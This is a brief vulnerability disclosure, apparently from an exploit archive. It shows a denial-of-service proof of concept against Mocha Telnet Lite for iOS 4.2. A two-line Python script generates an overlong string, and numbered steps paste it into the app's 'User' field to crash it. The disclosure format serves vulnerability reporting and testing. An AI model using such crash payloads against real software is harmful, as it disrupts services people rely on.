Mocha Telnet Lite For iOS 4.2 Denial Of Service

2020.08.04

Credit: Luis Martinez

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: Mocha Telnet Lite for iOS 4.2 - 'User' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2020-08-03
# Vendor Homepage: https://apps.apple.com/us/app/telnet-lite/id286893976
# Software Link: App Store for iOS devices
# Tested Version: 4.2
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 13.5.1

# Steps to Produce the Crash:
# 1.- Run python code: Mocha_Telnet_Lite_for_iOS_4.2.py
# 2.- Copy content to clipboard
# 3.- Open "Mocha Telnet Lite for iOS"
# 4.- Configure
# 5.- Clic New ... Add a configuration
# 6.- IP Address > "192.168.1.1"
# 7.- Paste ClipBoard on "User"
# 8.- Password > "l4m5"
# 9.- Clic Back
# 10.- Click Back
# 11.- Connect
# 12.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 350
print (buffer)

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Mocha Telnet Lite For iOS 4.2 Denial Of Service

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